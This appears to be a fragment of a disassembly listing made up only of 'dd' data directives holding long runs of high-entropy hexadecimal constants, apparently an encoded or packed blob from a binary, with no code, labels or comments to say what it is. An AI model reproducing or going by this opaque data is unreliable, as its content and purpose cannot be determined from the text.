		dd 5DB600AFh, 0F74508B1h, 0E004DD69h, 2454D801h, 3893F58h
		dd 1C4A3A1Bh, 2E6DC9B0h, 0E97EFE0Bh, 8991FC8Bh,	0FB4677CFh
		dd 0F1157C27h, 65EAC90Fh, 1C5646D4h, 0AEA2E95Ch, 81054047h
		dd 71D4FE7h, 84BC76B3h,	25F7E8Ah, 57057FB9h, 8027A224h
		dd 1CB58DFEh, 79E9F40Ch, 97E3FFF2h, 6C88E6E0h, 0A82A0581h
		dd 8FF84B8Dh, 2F0898B7h, 0B1510080h, 28072C43h,	7E04C83Ah
		dd 9B58F22Dh, 0EAD8EB05h, 0FB81D54Ah, 48A4E920h, 74EEE2BDh
		dd 75F109BFh, 4A20FEB4h, 8092A077h, 3A5F8196h, 514E0BE3h
		dd 0E5D70352h, 0CB2124A9h, 0BBD705Ah, 0F26717DCh, 0D7F85EE5h
		dd 53806CE3h, 511DBE2Ah, 626D5462h, 0C440F531h,	42CFE066h
		dd 3FB2C1B5h, 243AEA28h, 2117AACAh, 413DA2D8h, 3E4130EDh
		dd 2F68D640h, 0D57C6DC6h, 16E88E2h, 0C45C19B8h,	2C2E254Dh
		dd 993FD93Ch, 0EE5FD9F9h, 1CDB130h, 0C3BB531Eh,	6ACF4D8Fh
		dd 61B65706h, 0EDD2BD45h, 7AB8C698h, 0C40B0797h, 0E89AF192h
		dd 15AD330h, 77B76856h,	6F5E76BFh, 5805F84h, 3CE911Fh
		dd 0E9F331A6h, 344A9039h, 0ADE0D2F1h, 0BC9E99DAh, 58679330h
		dd 0B7002D5Eh, 563D17Ah, 7A32551Ah, 7840926h, 0C28F4721h
		dd 0B6510794h, 1FBA1204h, 0BC1FA802h, 0F80162F7h, 0B5A52141h
		dd 0CBBB1787h, 0B8885AEFh, 0C18C40A2h, 2B878EFh, 0F6F55E35h
		dd 778F57C0h, 5B4E49B6h, 8BA63A79h, 51970BEh, 4EA45F44h
		dd 0E9D810D5h, 0F89E5DD2h, 130F949h, 0EAD15A7Bh, 53514225h
		dd 1E680EC9h, 0E95275C1h, 0B95D3425h, 2F08D909h, 2130886Eh
		dd 0F9023D2Ch, 7D5CCB88h, 567680C0h, 0BF1D682h,	1F8FE86h
		dd 0E4E8073h, 17794EA8h, 43006E3h, 13B2B697h, 642A13E8h
		dd 6914A080h, 165C2C22h, 47120444h, 0B7C7ABECh,	0EFFC1713h
		dd 78B5E3C0h, 0E92613F6h, 0C109C483h, 5551263h,	0FE3A35BEh
		dd 0CBAD6461h, 939BD00h, 0AD495E26h, 2D0D3D19h,	1AE402Fh
		dd 0EF46E9E8h, 5B8CBABh, 0B00A2548h, 9C1EFC34h,	0D84E36E0h
		dd 0C2810F2Dh, 0F14BC00Fh, 0FE3E89D5h, 719F899Ch, 0DFA21679h
		dd 12252497h, 0BBB7C894h, 0A72088D4h, 0F3EE38F0h, 0EA8AF75Bh
		dd 0C2E5076Fh, 6C77AFE2h, 0E9B0A3B5h, 3079B821h, 0C57B9538h
		dd 292F64C0h, 0B0E2783Fh, 176209C6h, 0EA906AF5h, 6F101ACFh
		dd 0DA046482h, 0AF3BB649h, 0AC94C0C0h, 0FB292677h, 75F12083h
		dd 0B3BA80DCh, 36AF6317h, 0ADCACD90h, 3033F819h, 0E310D2F7h
		dd 3D0B730Eh, 663EA568h, 82602F76h, 0CF6DC1F4h,	0EA6CA0F1h
		dd 0DB095E00h, 0CDD9850Fh, 0C962F99Dh, 0D7247151h, 0EE692538h
		dd 0F7099530h, 0F90BF97Bh, 7394FD5Fh, 446E5395h, 0CEB79484h
		dd 76F24A90h, 24F51410h, 0E809B3ADh, 6981F60Bh,	0D806FE03h
		dd 0DAC3492Fh, 8C681216h, 76E37Ch, 77356E1Ah, 0BDF420E9h
		dd 123C17F9h, 0E08CA265h, 0CF01953Dh, 7AF1F65Ch, 891206DCh
		dd 0C0FDDA01h, 1472BD58h, 8843A461h, 3D6EAC00h,	0AD59BE15h
		dd 58EB948h, 84DDE9FEh,	687872FAh, 9E2F27C6h, 0C9E3F169h
		dd 0EEA1D584h, 6ED59E61h, 0E75398Ch, 585C5F0Ah,	0D89E2815h
		dd 6391448h, 2F7A6D31h,	3F6E380Ch, 0E70B4B20h, 8B99C653h
		dd 5821F5BEh, 59899BE9h, 70C504F4h, 89FA0147h, 0E88B022Dh
		dd 82991098h, 47D9A55h,	80005894h, 0B4500FF5h, 0E520321Eh
		dd 2EA3D0E7h, 2605EDh, 5AF5308Fh, 595FE828h, 0D83FC4B1h
		dd 432D683Dh, 9EA95163h, 7C2FB91Ch, 0B0179A66h,	13FC5282h
		dd 59955420h, 2AD100E1h, 8F5E3892h, 0AEA04750h,	4F900A44h
		dd 0D85A44BCh, 8E0912CFh, 5BA17811h, 0B551B866h, 2C30D9BFh
		dd 385A31D6h, 7FBB9D92h, 0E861B42Dh, 33E62A5Bh,	0DF446627h
		dd 0C3525024h, 0EB89DA53h, 5B40AB97h, 0F529F821h, 930FFC21h
		dd 0FEC7298Fh, 1690941h, 9F844EFh, 1C7F5D08h, 77F5828Bh
		dd 73E91FB0h, 0AC8A2BF1h, 2C5CA079h, 986094EDh,	2DAC7602h
		dd 43511D24h, 49425200h, 0BD6AE92Ah, 0DD05210Bh, 0D3B650B9h
		dd 286CA10h, 0D6064E2Dh, 6429757Dh, 2D250D4h, 6C050AAAh
		dd 9B681201h, 0C5D3A87Bh, 0A9A3796Ch, 9610F9D6h, 0C14B10F3h
		dd 0C67368D5h, 15B927A9h, 16B22B5Ah, 96E0B7E1h,	5EFAB9E9h
		dd 9627FAF3h, 64B72F90h, 12008B90h, 8607E4C0h, 98D5F6ECh
		dd 5C7F4050h, 8C517395h, 0FD43513Ah, 99BA0CEEh,	0AC0C0297h
		dd 6E9E5CA1h, 0BFC65149h, 57B16813h, 3C9763BFh,	0F07A937Eh
		dd 0B86318B5h, 0A3700033h, 0AB99B95Eh, 294BB579h, 48A178A0h
		dd 0E1A449A4h, 96A33A30h, 14A23489h, 0DBC5D564h, 0B043C224h
		dd 0C53B0E10h, 46413034h, 7EBD6858h, 0BB001F35h, 4166629Eh
		dd 2D9DE6BFh, 0F7C3BE99h, 512D3B05h, 10BB2978h,	5F25082Bh
		dd 0B348BC90h, 0EEE18880h, 81655459h, 31304B08h, 150848Fh
		dd 4C315866h, 0E06D3120h, 8012CEC2h, 0D2F68882h, 2C6296C1h
		dd 0D7F783E5h, 50469B87h, 2ADB806h, 0E99ADAD5h,	595E7D56h
		dd 0C110F8E8h, 0BF658D5Fh, 8741310Dh, 7DDCD031h, 0A5F896E1h
		dd 71248602h, 57D3F701h, 0C4667170h, 1E61A6D1h,	0CB56828Ch
		dd 375B2435h, 22E5222Bh, 0EF01B7A9h, 32C84082h,	6A21CF01h
		dd 0ED520804h, 0E91758FDh, 6520EA8Fh, 0EA1755Fh, 0C1B5BD78h
		dd 4E34FEBh, 0F121AA9Dh, 7F9E7B77h, 8709868h, 458049D4h
		dd 0E18ED33Eh, 1FD55532h, 0C2E9ADC8h, 0AE0CFEB6h, 7486AA62h
		dd 4FB2429Fh, 0A4037079h, 0B01A3497h, 0B50FEEBh, 0F30140ABh
		dd 6080C88h, 34E803E9h,	0F61601B7h, 0ED580DDh, 4B285464h
		dd 33FB45EFh, 8398BE04h, 0EC8995BBh, 0B892773h,	0BD8DBCBh
		dd 0DE65D001h, 1F99FD88h, 0FAEA135Fh, 4D18625Fh, 167EBDCBh
		dd 0EF55111Fh, 700D9E41h, 0C9F1EECh, 4A8683ABh,	0E1D0BB53h
		dd 18D2EFC6h, 665843BDh, 7914F32Fh, 5016CCF4h, 0E5AD6626h
		dd 0E52DEB02h, 30F6596Ah, 1D4A755Ah, 0FB825D74h, 0CC231868h
		dd 0B75D70C2h, 8C924644h, 0E6E9550Ch, 9C6839Ch,	233DBAAFh
		dd 94A68D7Ch, 0F9F960B2h, 3580A50Eh, 0D6685653h, 25FD5416h
		dd 4B484A8Ah, 0D343F20Ch, 0ED404544h, 0AC775E29h, 8FAF16C7h
		dd 0A93E2F22h, 0DB965FF3h, 4B43D19Fh, 0FA41EE58h, 8E25043Eh
		dd 2D2AAE0Fh, 0A996E91Ch, 4E5769B8h, 0BC11BD3Eh, 0F1747BF1h
		dd 8690C82h, 680803CFh,	61133C3Ah, 6DA8A61Ch, 0CB7583C1h
		dd 9CE73836h, 0B72A9BC2h, 0CE585739h, 5A470095h, 0B71CD40Ah
		dd 0B7DA8982h, 9D186677h, 8828FF2h, 0C19DCA77h,	6800989Fh
		dd 0EC9F1F37h, 1859BDD0h, 1D965DEBh, 778DE913h,	0F9D539EEh
		dd 554F64F8h, 4B205B98h, 0DD7897F2h, 0EECA682Eh, 982EA4BEh
		dd 0FE8C5B9Dh, 3C751B8h, 0ECC193B2h, 0B6385857h, 0BD51E0A2h
		dd 5E8C4C88h, 0CC5EE532h, 362E0115h, 2B004D2Eh,	0E9107B6Ah
		dd 0DD899D7Eh, 246F99DDh, 0F4603807h, 14E68892h, 2C6FE58h
		dd 0D0D6F606h, 0DD40A2EEh, 79681357h, 0B259AC40h, 1A1EFD5Fh
		dd 4BD23344h, 13E6B262h, 0E2A84D46h, 52DD6882h,	9709B477h
		dd 4690EDE6h, 7474075Eh, 144204FEh, 0B2330ED7h,	0AE393F8h
		dd 4A107948h, 5F7BB5B9h, 0D371D350h, 5343DB92h,	0F10124EEh
		dd 0E9C87A92h, 0D810F86Dh, 0BD773605h, 54A47848h, 0FC588890h
		dd 17E448B9h, 73C98A40h, 0C19B57E0h, 7967F377h,	0C224306Ch
		dd 2451E040h, 18D17FB5h
		dd 0EE809F2Ah, 0AF063861h, 0F4F7CEFEh, 0FDFC12AAh, 84A8A49Eh
		dd 0EF75E9C2h, 0F467A0DDh, 0F63F8C35h, 0CEA74F27h, 8E680928h
		dd 2090C67Dh, 0BF05AB0Dh, 28414EA4h, 3F9BEB01h,	0F13E38C3h
		dd 0EB257B1Ah, 0C2C07204h, 68535500h, 989F483Dh, 24373A03h
		dd 9EB23F73h, 0FBA5CFD9h, 0C33FEBEFh, 0BFF1AA9h, 425F31FAh
		dd 0E9B060E5h, 150D9FD5h, 1FDC3F66h, 0F465B7D7h, 22321529h
		dd 0AEC6FFBEh, 43A45F4Eh, 340518E8h, 2C040A53h,	5D29717Fh
		dd 0CDBB8DD8h, 0DE3C177h, 0BF74D51h, 2833AC0Ch,	97B480DFh
		dd 0F867F701h, 0C6B65F1h, 598B0F63h, 0FCE9DF81h, 2EFC2597h
		dd 52774F04h, 0F669B301h, 5CD070DBh, 0A7BFC182h, 5A3C66E1h
		dd 0D2E4041Fh, 202542A3h, 0CAE159EAh, 4C2C7033h, 0E1003741h
		dd 5C2815B4h, 1E74DBE3h, 6CC380D3h, 0E756495Ch,	0D861D6AFh
		dd 0ED25685Fh, 6AD4592Dh, 35D403ECh, 0C073410h,	1D57871h
		dd 984D714h, 0C081Ah, 1F685A14h, 2C719A2Fh, 5221BCB0h
		dd 535B9780h, 0B60FD1B7h, 0FE2893h, 0D4F6E686h,	0E5882F51h
		dd 59EEFFE0h, 0F028E917h, 0F9680E8h, 0C189CCCDh, 0A9E67980h
		dd 1E4A4C79h, 109ACF8h,	1F029299h, 7355A79Dh, 25F7ACEFh
		dd 4A2901Ch, 0AAAB24AEh, 0F56EBA9h, 9857FCE9h, 6BBE3C53h
		dd 816E8C00h, 8B744CF5h, 8709048h, 25FE27F1h, 0D3D1E90Eh
		dd 0A06D3EBDh, 0D20F8A6h, 8420657Fh, 534E3BF5h,	89E3B597h
		dd 22C40F4h, 2215CF3Dh,	2086CE29h, 8C2EC4BAh, 15B00184h
		dd 0C3C0ECB3h, 0C1801C58h, 0AED9129Eh, 0A9BF9E20h, 27FF25Ah
		dd 5D4FF781h, 0C3D76D4Ch, 49D1C122h, 16171630h,	0BF48126Fh
		dd 793FBB40h, 0B8427C7Eh, 689040BDh, 0D620A827h, 8E50C6C1h
		dd 23C4F331h, 0A4076130h, 0F656F0B6h, 11D8EB8h,	0DE9F5A66h
		dd 0BA53C652h, 0FA1D64AFh, 5E011662h, 9B79586Ah, 0CB1FB49Dh
		dd 4844504Eh, 9460099Dh, 0E95A3917h, 42937BA6h,	5B40735Eh
		dd 2375C281h, 810D7F28h, 0FC83E809h, 0F5005DF2h, 0AFA5BABBh
		dd 8229B52Dh, 65D5E4h, 0A74E25B8h, 0D897697Dh, 4DF07FF4h
		dd 6809521Dh, 0B0777AB6h, 2A67C6h, 0D0F70F20h, 54437525h
		dd 3E91516h, 2DEADF85h,	53E77E52h, 0F740443Ch, 0E5C1D513h
		dd 61B53209h, 9F665887h, 5B0FF74Bh, 2D50AAE7h, 39734102h
		dd 95B4509Ch, 27D54F1Bh, 7C18A8B2h, 2270B74Ah, 0A9D0FEFAh
		dd 0B64610B7h, 0AEA9045Eh, 3EBD009Eh, 0CB76DD69h, 9A7E029Eh
		dd 3A81041Eh, 6CD3E914h, 0A793416Bh, 7AA23E2Bh,	5DC50517h
		dd 20B2F480h, 0F521FD06h, 0E52823C0h, 10F31882h, 0D4C07839h
		dd 4A1E46D4h, 0B6F02960h, 0C46C147Bh, 0B6E6262h, 538D405Ah
		dd 3C440FBBh, 33E52CC7h, 5B948AFCh, 2927EDFCh, 0C5BD38ECh
		dd 843C893Ah, 92683AF4h, 3D6FE300h, 150CBE57h, 9706EF60h
		dd 27863E10h, 0E2F7058h, 3DFA2745h, 2A95CBC0h, 0CAC05CEDh
		dd 5EFD6BF9h, 16C74EE9h, 0DB29FFA6h, 1056AD2Bh,	0B05F48A2h
		dd 8FD2DFC7h, 0F0FD74AFh, 92543C78h, 0E82CC128h, 0D5228C0Bh
		dd 0A54FBDB1h, 91E47567h, 29EB4AEDh, 0B8648275h, 558F6723h
		dd 8A4000C2h, 9325304Ah, 0F5F08032h, 4A5C9217h,	0C1B1F9h
		dd 0FB14B5C0h, 0D8215A17h, 5746CCh, 9D33F1BFh, 0F7C5E917h
		dd 4A09CEA4h, 8F61AF46h, 0B5DA6A4Ch, 0E8353C00h, 205407Ah
		dd 0A3563762h, 0BE42C231h, 9BDDF08Bh, 0F4B65812h, 15F18027h
		dd 4641C2A5h, 45E92A33h, 0C210B787h, 1AAB50D7h,	0E525A484h
		dd 0A56B4758h, 0C34380EBh, 610211F3h, 5CE95F7Bh, 84F9D4EFh
		dd 803D2073h, 1A50F723h, 0E9251C71h, 5762E293h,	0E9C12AD1h
		dd 45A4FA94h, 3F8820B6h, 0D1E76F8h, 49688153h, 89723A79h
		dd 0DC528970h, 3A5FEB0Dh, 44E5F528h, 60AEF9ADh,	0B415E955h
		dd 0FC5C50D9h, 0E7AB07E7h, 0F17F45D9h, 8447DFF7h, 7856AED2h
		dd 0E17AC7ABh, 3FB5B1A8h, 51B82825h, 0BF6A2FA2h, 0C72D9156h
		dd 0FD1E0945h, 6870557Eh, 31294B58h, 824BF4B9h,	6888F59Fh
		dd 0C340758Dh, 0F80530E7h, 0F292E926h, 48A5CEBBh, 7EF505F5h
		dd 0B7A45D7Fh, 3E739DC7h, 1608C588h, 0BA5ABF2Dh, 5E6E3A4Ah
		dd 0AE168CD2h, 0EC12ED93h, 13EB5288h, 0DBA60845h, 0C687BD34h
		dd 48BA41D1h, 82A8E56Bh, 839FA2FCh, 0D7456A89h,	0E9148136h
		dd 84D4D0C9h, 560A70E5h, 75E108Bh, 39ED805Bh, 83F6C633h
		dd 0B72EC7EEh, 42DF3DE2h, 0E6D053CEh, 0DA5DEBC0h, 61905B82h
		dd 2AF198E9h, 49781ECCh, 37108103h, 98592CCAh, 9D46490Dh
		dd 0F486313Fh, 60BFA547h, 305A46B1h, 17266376h,	554ACC22h
		dd 0AA05ADE6h, 0C306713Ch, 96970294h, 0F3904253h, 8D24207Ah
		dd 504056C3h, 0F6398936h, 3B3ABA9Bh, 0AB99CA28h, 0DD800ED3h
		dd 0E01E9036h, 67B75300h, 0C7FEDFF6h, 170E8DB6h, 4C70D028h
		dd 0B210B8FCh, 475526B1h, 0D954F502h, 13107066h, 0FE150744h
		dd 0C4F4708h, 2C2D3F6h,	5FC56669h, 0EAA2BA43h, 0BB741055h
		dd 5645BD80h, 2DD86E37h, 0F1F5948Eh, 0BADEF713h, 98FB9406h
		dd 1BC20FCDh, 9749C52Ch, 0B50FD4F0h, 25EB3053h,	804E9A6Eh
		dd 902DEFD8h, 801CB300h, 0C3FE06EBh, 8E3C004h, 0C6FCB551h
		dd 0C904BC22h, 72506E74h, 3E6C88AEh, 42C43312h,	0A8032DBCh
		dd 0D131C974h, 0C74855EAh, 8004CDFEh, 0E5D007C5h, 0B68095F2h
		dd 6673E96Eh, 955459Dh,	5C59E6F0h, 0F4452B89h, 0D9654E53h
		dd 7789AE5Bh, 0FE3FC87Ah, 90019540h, 92DD5B0Fh,	4A5FC66Ah
		dd 0B6FD61C0h, 0B45E8105h, 0F0DD6E02h, 0A3E3B657h, 0FA4D164Eh
		dd 0CE38EA5Fh, 0F22709BCh, 98F44F44h, 257731Fh,	0F75241FFh
		dd 8177B9AAh, 4665EA0Ch, 50AC3E71h, 0A308207Bh,	5763FA95h
		dd 35AC4E99h, 5CB22BBEh, 6232C9DFh, 958A6C75h, 66255245h
		dd 73D98058h, 40AC3A5Bh, 290BFFADh, 0B6E4C44Ah,	2D2C500h
		dd 1C6810E2h, 650C9E25h, 7A6CA1F5h, 0BC93B8A6h,	76ADB406h
		dd 0FD544F16h, 44418528h, 8FB632EAh, 4AE0D8EAh,	0DA0DA89h
		dd 0D682539Fh, 92FA49E7h, 2BF6D5FDh, 0BF236CCh,	5254921Ah
		dd 0FBC4980h, 899760BBh, 619DD164h, 0F2FDE170h,	0AD5F9960h
		dd 0CACD9B97h, 8F2ED5C6h, 0E70B4D8Eh, 100DB0FDh, 0DAA983D4h
		dd 860A8243h, 55D5F6EFh, 7BFD5469h, 39050425h, 0D5B8D819h
		dd 0EAE823C5h, 0FE49735h, 1644BD16h, 45536100h,	0EE81461Ch
		dd 0B1101338h, 0DD76F501h, 4FBD00D1h, 0FC99ECD9h, 0BFA9D6C5h
		dd 9F03FB79h, 0F88F4E7Ah, 0A0B744Dh, 7E484E79h,	49E89F6Dh
		dd 4FDE5F6Ch, 0D4C7A442h, 0A8086261h, 5F4B580Bh, 604FCA7Ch
		dd 6B7FC1C4h, 727CED6Ah, 0E6001758h, 15101A51h,	0B17C684Eh
		dd 43CC69Dh, 0C410DDAh,	201FC7D1h, 4A92627Eh, 5BF85B5h
		dd 1031F787h, 0C27F1554h, 4A772D9Ch, 0AEBFC198h, 0F9BB0414h
		dd 4FBE17EDh, 634405B2h, 1D73A4AFh, 0C83B9F41h,	69BFEFDCh
		dd 9C732192h, 5DD11350h, 0C225A805h, 5C70B960h,	0A40C576Ch
		dd 0C646317h, 5DD0668Eh, 4269CCE9h, 0A1AB826Bh,	0DEF602ABh
		dd 0F2AE13FDh, 0F392C152h, 4A7F6723h, 0EB8287A2h, 74193500h
		dd 25070383h, 7CC42075h, 2D01E870h, 9880F00Ch, 74A3200Eh
		dd 5672C2C1h, 204DF1h, 2A2B099Eh, 4BFC2904h, 0D4DE0820h
		dd 174FDE30h, 5CF0BD35h, 7F151h, 1D64C9D4h, 0E9E42560h
		dd 121A0ECEh, 0FCCF8944h, 0C3BAA226h, 55AE9AEFh, 0E927015Ah
		dd 0D5870957h, 0F1B7BE9Eh, 792A4D8Eh, 9D12B56Ch, 0CB5A5AE8h
		dd 6DDF1037h, 2CC4680Bh
		dd 0B4634574h, 502B7D01h, 4EDFE802h, 8BAEBDE0h,	712F7C34h
		dd 2E5935F6h, 625B40DAh, 91605687h, 2D024A32h, 0E9DBF717h
		dd 0FC914A3Fh, 680E3C39h, 0BAB24CA0h, 5599C80h,	0EA4A160Eh
		dd 504ACB32h, 272C26A6h, 69089F70h, 12532FCCh, 639EE9E3h
		dd 76ECB11Bh, 8BF648EAh, 0C0DEEC5h, 0B43AFA59h,	0F20B2937h
		dd 0A7B0BCE9h, 0B77455D5h, 0E2C0B090h, 0F2801C04h, 42EACBCCh
		dd 0B342E971h, 271EDE71h, 3C406F71h, 90169548h,	0A415207Fh
		dd 8880B0C5h, 13C5E145h, 6FB72645h, 801B03FEh, 0C79829F7h
		dd 4E27E901h, 0B77D64C3h, 0D1A514F9h, 0BA68059Eh, 0CC71FA72h
		dd 1E92417Ah, 2607044Ah, 0C0558FD6h, 611138B8h,	0F86B865h
		dd 7FF92A3Ch, 842EB8D2h, 0C11FBCFEh, 76824D3Bh,	0E7A42B42h
		dd 22CE0ECAh, 0E2C07757h, 63A8379Ch, 0D10AF2F8h, 0C5704314h
		dd 401D2F0Eh, 0E9D5290Ch, 0EBA5D2B6h, 0AB980E8Ah, 975E1FE9h
		dd 0FE543740h, 98D0F6C0h, 1DE40DFh, 3155F777h, 7EEADDD2h
		dd 7F5F9A62h, 71A7E867h, 6D858843h, 0E6C8E904h,	2597A3BAh
		dd 0AA14D705h, 201D79F6h, 0EF40557Bh, 1506F47h,	0BF5728D0h
		dd 0FC6AB708h, 98551509h, 5BAEE979h, 682730BDh,	87C4054Fh
		dd 24A2E47Ch, 33F2D225h, 9CF4F20h, 1AF0685Ah, 18F1B4F7h
		dd 4711E957h, 7D0034BFh, 18B95966h, 0B63FAB73h,	482631A4h
		dd 685300F5h, 0AC10007Dh, 0CB815B0Dh, 5105212Dh, 0BB54E945h
		dd 3B514BBFh, 9D12BC57h, 0EEB65722h, 4983C104h,	2B11F825h
		dd 710C174h, 8DAF79E9h,	702E121h, 2E5DA20h, 68134548h
		dd 0E5E67198h, 70A50995h, 629D0F7Eh, 0CEA9CDD1h, 44704576h
		dd 365D8184h, 0B05D7C29h, 7C65003h, 0FDB25228h,	0E9CED754h
		dd 66BCF125h, 5B7806CBh, 0DF297BC4h, 0C92D2F9h,	686787F6h
		dd 0DBB86AE4h, 54F5C4h,	35E85BFh, 40A9165h, 8142923Dh
		dd 3158C58Dh, 2CD3C505h, 96B90003h, 8160BD32h, 711009E1h
		dd 0C8743701h, 467F210Bh, 20B89A09h, 6812BFD7h,	0B347F82h
		dd 0E9396CEAh, 45C7CA2Ch, 0D0E3DA53h, 7D79BFFCh, 26A42045h
		dd 0F8505F71h, 9BD1B434h, 0A52C9739h, 200442CBh, 0A664BB45h
		dd 628CEFC0h, 1091068h,	7A0841EEh, 0ABD78AB3h, 80339F22h
		dd 7AA1EB5Eh, 500D5AC6h, 5F250867h, 6858B954h, 0A3435FACh
		dd 0B05ED8BEh, 0C188065Dh, 0D0CB2858h, 2BFBC40h, 2546965Eh
		dd 0E389FD31h, 22CA91DFh, 2D80FC34h, 0CB562BC3h, 14BCA321h
		dd 0D3DC7B29h, 0B78459FCh, 5B5D1E51h, 525484C9h, 0C0EB7BFh
		dd 55D35103h, 67360C04h, 0DEBD10F0h, 55AD000h, 42EB6F3Dh
		dd 3F902D90h, 94BD0884h, 0BF2D0278h, 5F449637h,	0F30080FDh
		dd 0B04B1D0Bh, 535218D1h, 0FAC67AA4h, 135FBCEAh, 0BBE5628h
		dd 16B3628Bh, 291C0674h, 0C87C53DBh, 95364D40h,	0C609F4C2h
		dd 0F74BD248h, 2500D35Eh, 79992993h, 234B851h, 178C3DF6h
		dd 0A8DC5EE9h, 8936FB25h, 0DF7E5976h, 0CC201E3h, 3262F72h
		dd 870FC758h, 0D721774Fh, 0EE20E9E8h, 6EDA2D00h, 406802EAh
		dd 0B155C408h, 0DC931E64h, 0A32433E6h, 5CD9A5C3h, 436A68E1h
		dd 0C8510853h, 4A4D27E5h, 0C209F042h, 0C8A1E20Bh, 5A90D489h
		dd 0B42BA5Eh, 3D1355F4h, 77D5C9C1h, 7FE9C3D4h, 52242D3Fh
		dd 2F9F3194h, 6554CE89h, 0ECF8CDE9h, 14EE0813h,	0F12053FFh
		dd 0EA5DDA82h, 0A87414ECh, 9F74A15Ah, 65B7F1F3h, 48EC64E2h
		dd 0E07CEAC0h, 27DA7BA8h, 8BB849C0h, 0E9A05B57h, 728C9EBh
		dd 0DF5ED04Fh, 8AC959ADh, 6E5A3041h, 975C4F28h,	833042D2h
		dd 0E5BAFF3Ch, 587D3036h, 8E7E0282h, 740015Ch, 3F7C940Dh
		dd 89AED575h, 0FD4760A3h, 2A74718h, 10EE8F26h, 2589782Dh
		dd 14678E8Dh, 0A2C0AA01h, 0D093703h, 0C0086662h, 0FD340155h
		dd 4CFCF036h, 0C6916180h, 8492918h, 2F802DFAh, 4768070h
		dd 8080B980h, 38C6847Bh, 31088315h, 61181958h, 6D0101E0h
		dd 0A8141088h, 2060F51Fh, 1C318FA4h, 743B084Ah,	0F66E1888h
		dd 8EE0508h, 0D40C2A4Bh, 6278081Ah, 933218DCh, 31DA102h
		dd 81B7A90h, 0EB2047CEh, 0D208184Fh, 0E77D1813h, 80E5EB80h
		dd 8C4ACEAh, 5304ECDBh,	9E0D04CFh, 3858DD06h, 208C5E20h
		dd 56336FDFh, 19939106h, 41D3CD10h, 48188844h, 958B0D4Bh
		dd 881EFD10h, 0C11A008h, 5420BB21h, 5C08CB62h, 0A05E03C6h
		dd 0AC3D512Ah, 0A864D740h, 83204F84h, 0B4A6AD9Ah, 69310885h
		dd 86F91862h, 55D059A2h, 3A61F4F5h, 47BA0888h, 28977E0Ch
		dd 175740A0h, 0C910AE62h, 64AB0372h, 34E10810h,	2080822Ah
		dd 0E3315CFBh, 9451089Bh, 2D27001h, 6A90A2EAh, 4D730212h
		dd 1860C803h, 87BFE10h,	87838A88h, 629C205Ch, 7D6808FAh
		dd 2E62A02h, 9D02D550h,	75792CF6h, 0A8D85E40h, 818CDED4h
		dd 758851FAh, 9AD40179h, 16E6101h, 0D1019C5Ah, 1D1888B6h
		dd 913C0C39h, 43409610h, 20509238h, 5F20CFA2h, 0EAF8315Ah
		dd 904D4908h, 0B5195EC9h, 8C590852h, 8F7BB49h, 649540FEh
		dd 0C435C740h, 58234B9h, 0EC4CD8BCh, 66B1087Bh,	9284838h
		dd 49535620h, 1210287Eh, 0B9661A49h, 1026C310h,	10875B10h
		dd 16106919h, 0F6610E4h, 89AF318h, 29C85F40h, 71770C1Eh
		dd 8040A708h, 202C925Dh, 2F206E97h, 0AA7F2046h,	247AA820h
		dd 959098E3h, 0D63188CEh, 1BA8208h, 7A01514Ah, 587501E0h
		dd 950A5901h, 1894CC40h, 9D10565Ch, 869480E2h, 0E0529381h
		dd 5B90A54Ch, 1A62C846h, 4EB88891h, 0FDB89245h,	35EB0888h
		dd 3EC99419h, 64733824h, 49B7959h, 789266F0h, 0C5130367h
		dd 69141018h, 80B4BE08h, 60808645h, 0E8FC389Ch,	0EF6C204Fh
		dd 0F39245AEh, 0C6E4C778h, 63424Dh, 2752C47h, 0C68913EBh
		dd 3DA7B90Eh, 10005F4h,	49408F44h, 1675C90Bh, 1D748BF7h
		dd 3DE0284h, 71E4B9F0h,	6C0333Ch, 304FB10Fh, 0CCAC4B2Ch
		dd 315AB762h, 0C71C7BBDh, 8AF817A6h, 2801743Dh,	80C3B151h
		dd 0C8DC7DC1h, 0BF6FFE59h, 0D9E912F8h, 10287E40h, 0ECF44BB1h
		dd 50CC036Bh, 0C8809EB4h, 0EBD4F655h, 0A0E12F93h, 2805D1B5h
		dd 4601E9F9h, 0BC0824FEh, 8FBC4A3Bh, 59C2CAF5h,	0E9550508h
		dd 830542ACh, 8BBAEA29h, 5AD31C99h, 9DE3DAD2h, 4BBF25Ah
		dd 1120B968h, 815CDCE6h, 8E60473h, 0B33B7C68h, 0B6378ACh
		dd 0B9565072h, 0E36A1EE3h, 0CBA24FFAh, 0FF3B10h, 0FD2D9545h
		dd 0B7106F9Fh, 0DFEA8302h, 0F0979BE6h, 11B3322Dh, 0EBE35658h
		dd 0AEC00DBAh, 0B01CBE59h, 31534125h, 5AE96AB1h, 0E28981C3h
		dd 0C603B66Bh, 0BC521A9Dh, 0BB530874h, 9CC18140h, 50173005h
		dd 0C834100Ch, 0D9011B17h, 70A67001h, 0CAF819BBh, 6261893h
		dd 148F6A1Eh, 6355992Eh, 0EE235703h, 0EFE2E009h, 1015F60Bh
		dd 31FA7E9h, 0C26714B9h, 23D5D119h, 3A9B392Eh, 0BF19E4B6h
		dd 2F5CB054h, 9A70EB8h,	76F3CA5Dh, 0E1ECF2D0h, 0A26C930h
		dd 74345125h, 0D8F70E11h, 7565D32Dh, 4C8000EFh,	296B3970h
		dd 76BF00EDh, 0F03A5C14h, 0DB067305h, 1D83ABCEh, 12F1A358h
		dd 13231C34h, 8A3CAD80h, 0BD80E367h, 0AFE5E80h,	0EB2B9731h
		dd 0F1DE0BDFh, 0E164AF6Ch, 12191822h, 0AB010676h, 0F2E64871h
		dd 54682085h, 738CAE5Ch, 188801BFh, 55E976CBh, 0CE742A93h
		dd 0EF2494E6h, 5FE95893h, 0C6391D60h, 7BD23B62h, 431713D0h
		dd 8432A801h, 0EA12D36Fh, 27163D40h, 0FC5E7DF9h, 0B380BD4Dh
		dd 0AC47AFBEh, 94105A7Ah
		dd 56A00104h, 76030DBEh, 20E9395Eh, 51600FEh, 0A6B66F84h
		dd 3096C201h, 16545550h, 0FAA428E9h, 0DBBAED74h, 8E91302h
		dd 0B1514AC3h, 5DC23DFBh, 58B82C71h, 207B4890h,	0A398734Eh
		dd 0A25391A4h, 0E81FC92Ah, 8BDF5DA5h, 3C2F595h,	0D2462235h
		dd 0B60147Ah, 0A1A5BF29h, 9EB9F80Bh, 5E93F991h,	0A5F14BE5h
		dd 1E478E1h, 60E92FCBh,	0E447BB7Eh, 2914A9C1h, 5A1B052Ah
		dd 0F421BB21h, 7BD5223Fh, 1201D220h, 274B077h, 2636ACCh
		dd 0B9DFBC40h, 4744082h, 0A665F622h, 0EE810040h, 31D90FC3h
